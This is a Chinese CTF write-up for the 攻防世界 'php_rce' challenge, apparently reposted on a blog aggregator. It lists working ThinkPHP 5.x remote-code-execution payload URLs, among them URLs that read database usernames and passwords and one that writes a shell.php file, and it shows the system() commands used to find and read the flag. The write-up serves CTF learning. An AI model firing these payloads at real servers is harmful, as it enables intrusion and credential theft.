[CTF/网络安全] 攻防世界 php_rce 解题详析

news2024/10/5 19:09:14

[CTF/网络安全] 攻防世界 php_rce 解题详析

    • PHP REC
    • ThinkPHP V5漏洞Payload
    • 姿势
    • 总结

在这里插入图片描述


PHP REC

PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),攻击者通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器的控制。

下面简单介绍一种常见的远程 RCE 漏洞利用方式,即利用 PHP 中的 eval 函数实现 RCE 的方式。在该示例中,攻击者可以通过 HTTP 请求向目标服务器传递 PHP 代码,并执行该代码:

// 服务端代码
$user_input = $_GET['user_input']; // 没有对输入进行过滤
eval('$result = ' . $user_input . ';'); // 远程代码执行

// 攻击者构造恶意代码
http://example.com/index.php?user_input=system('ls%20-la');
//远程执行 "ls -la" 命令。

由于服务器代码没有对 user_input 的内容进行过滤和验证,攻击者可以通过 user_input 参数发送任意 PHP 代码,并将其作为一个字符串传递给 eval 函数进行执行,成功实现ls -la命令。
在 Unix/Linux 系统中,ls -la 命令可以列出当前目录下的所有文件和子目录,并显示它们的详细信息,包括权限、创建时间、大小等等。


ThinkPHP V5漏洞Payload

thinkphp 5.0.22

1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5

1、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

thinkphp 5.0.21

1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.1.

1、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
3、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
7、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

5.0.20

1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

姿势

使用thinkphp 5.1.payload,
URL + /?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
回显如下:
在这里插入图片描述
提示使用5.0.20版本Payload
URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
回显如下:

在这里插入图片描述
说明命令执行成功
接着抓取flag即可
PayloadURL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
在这里插入图片描述
由上图可知,flag字段储存在flag文件夹下的flag文件中

使用cat命令读取flag
PayloadURL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag


命令解析及详析姿势参考:[CTF/网络安全] 攻防世界 command_execution 解题详析


回显如下:
在这里插入图片描述


总结

该题结合部分Linux命令考察ThinkPHP V5漏洞
我是秋说,我们下次见。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/553737.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python argparse的简单demo与详细使用说明

Python argparse的简单demo测试与使用说明 1. Python argparse是啥?2. demo说明2.1 程序主体结构2.2 demo说明 1. Python argparse是啥? argparse是python用于解析命令行参数的标准模块。我们很多时候,需要用到解析命令行参数的程序&#xf…

webmsxyw x-s分析

近期又更新了,先是改了x-s生成,然后又加上了a1校验。 后面可能会全参校验,比如再加上gid、deviceId、profileData、x-s-common、smidV2之类。 估计以后不能写了,大家且看且珍惜吧。之前相关的文章都被下架了 危! 文…

中小企业热衷于做网络营销的原因有哪些?

随着互联网的快速发展,网络营销已经成为了现代企业营销中不可或缺的一部分。在这个过程中,中小企业热衷于网络营销的原因也越来越多地被人们所关注。那么,中小企业为什么热衷于网络营销呢?下面就为大家详细阐述。 一、网络营销成本…

落地包体积监控,用Kotlin写一个APK差异分析CLI

引言 当谈到包体积优化时,网上不乏优秀的方案与文章,如 混淆、资源、ReDex、R8、SO 优化等等。 但聊到 包体积监控 时,总是感觉会缺乏落地性,或者总是会下意识认为这可能比较麻烦,需要其他部门连同配合。通常对于有A…

Spring的定义和创建,使用

前言: 我们常说的Spring就是Spring Framework(Spring框架),Spring支持广泛的应用场景,可以让Java企业级的应用程序开发起来更简单。 目录 一.Spring的定义: 1.1:IOC 1.2:DI 二:Spring的创建 三&…

【JavaEE进阶】第五节.第一个SpringBoot项目的创建

作者简介:大家好,我是未央; 博客首页:未央.303 系列专栏:JavaEE进阶 每日一句:人的一生,可以有所作为的时机只有一次,那就是现在!!! 文章目录 前…

赛宁首创革新赛制助力人才培养 | 第十六届全国大学生信息安全竞赛-创新实践能力赛全面启动!

​​为积极响应国家网络空间安全人才战略,加快攻防兼备创新人才培养步伐,实现以赛促学、以赛促教、以赛促用,推动网络空间安全人才培养和产学研用生态发展,由国防科技大学与中国科学技术大学联合承办的第十六届全国大学生信息安全…

你是不是在担心,ChatGPT写出的文字被其它AI识别?

文 / 高扬(微信公众号:量子论) 最近不少人问我一个道听途说的事情:听说已经有AI工具能够识别是不是ChatGPT写的文字了? 看来必要写篇文章,通过摆事实,为大家压压惊。 在赌场里,能抓老千的人一定…

2023年湖北中级工程师职称申请全流程,你知道吗?启程别告诉你!

2023年湖北中级工程师职称申请全流程,你知道吗?启程别告诉你! 中级职称评审其实是有几个阶段的,职称申请全过程,启程别告诉你,让你评职称少走弯路哟: 第一阶段:准备阶段 第二阶段&…

【JavaEE进阶】——第六节.SpringBoot配置文件介绍

作者简介:大家好,我是未央; 博客首页:未央.303 系列专栏:JavaEE进阶 每日一句:人的一生,可以有所作为的时机只有一次,那就是现在!!! 文章目录 前…

深度学习框架-Caffe:特点、架构、应用和未来发展趋势

引言 深度学习是一种新兴的技术,已经在许多领域中得到广泛的应用,如计算机视觉、自然语言处理、语音识别等。在深度学习中,深度学习框架扮演着重要的角色。Caffe是一种广泛使用的深度学习框架,它在许多方面都有所改进&#xff0c…

基于Android的运动健身减肥管理系统设计与实现

一、项目介绍​ Android客户端功能描述: 1:登录注册:第一次输入用户名密码之后,再次打开登录页面,页面上自动填充上次输入的用户名和密码,登录使用图形验证码验证,登录成功之后,再…

两种鲸鱼优化算法 (whale optimization algorithm, WOA)及仿真实验——附代码

目录 摘要: 算法设计: WOA总体流程图如下: 增强型WOA(E-WOA) 仿真运行效果: 完整程序: 摘要: 鲸鱼优化算法 (whale optimization algorithm,WOA)是 2016 年由澳大利亚格里菲斯…

PM861K01 3BSE018105R1协作机器人机械臂的每个轴上会安装扭矩传感器,用于测量轴电机和变速箱内的机械张力

​ PM861K01 3BSE018105R1协作机器人机械臂的每个轴上会安装扭矩传感器,用于测量轴电机和变速箱内的机械张力 机器人在工业领域已经存在了几十年的时间,但技术创新正在推动全新一轮的工厂自动化趋势。对于那些曾经负担不起(或者不需要&…

Spring 中 @NotEmpty、@NotBlank、@NotNull,傻傻分不清楚!

1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><version>2.0.5.RELEASE</version> </dependency>NotEmpty、NotBlank、NotNull 包的位置&#xff1…

智驾芯片市场要“变天”,这家中国厂商如何成为“量产先锋”?

中国智能驾驶芯片的量产之战&#xff0c;正在高歌猛进。 5月19日&#xff0c;黑芝麻智能宣布获得一汽红旗下一代FEEA3.0电子架构平台项目量产智驾芯片定点。据了解&#xff0c;基于黑芝麻智能华山二号A1000L系列芯片&#xff0c;一汽红旗将打造非分时复用的高性价比行泊一体自…

OpenHarmony社区运营报告(2023年4月)

本月快讯 • 2023年4月9日&#xff0c;OpenAtom OpenHarmony&#xff08;以下简称“OpenHarmony”&#xff09;3.2 Release新版本发布。相比一年前的OpenHarmony 3.1 Release版本&#xff0c;新版本的系统能力、系统整体性能、稳定性和安全性都进一步得到提升和完善&#xff1b…

小兔鲜项目----vue3入门

目录 认识Vue3 为什么需要学Vue3? Vue3组合式API体验 Vue3更多的优势 使用create-vue搭建Vue3项目 认识 create-vue 使用create-vue创建项目 熟悉项目目录和关键文件 组合式API - setup选项 setup选项的写法和执行时机 setup选项中写代码的特点 组合式API - reactive和…

SEO优化需要天天更新文章吗?

SEO优化并不要求每天都更新文章。 更新频率取决于你网站的内容类型、目标受众和业务需求。以下是一些建议&#xff1a; 高质量内容&#xff1a;关键是提供有价值且吸引人的内容。不要为了更新而随意发布低质量或重复的内容。确保你的文章有深度、独特性和相关性&#xff0c;以…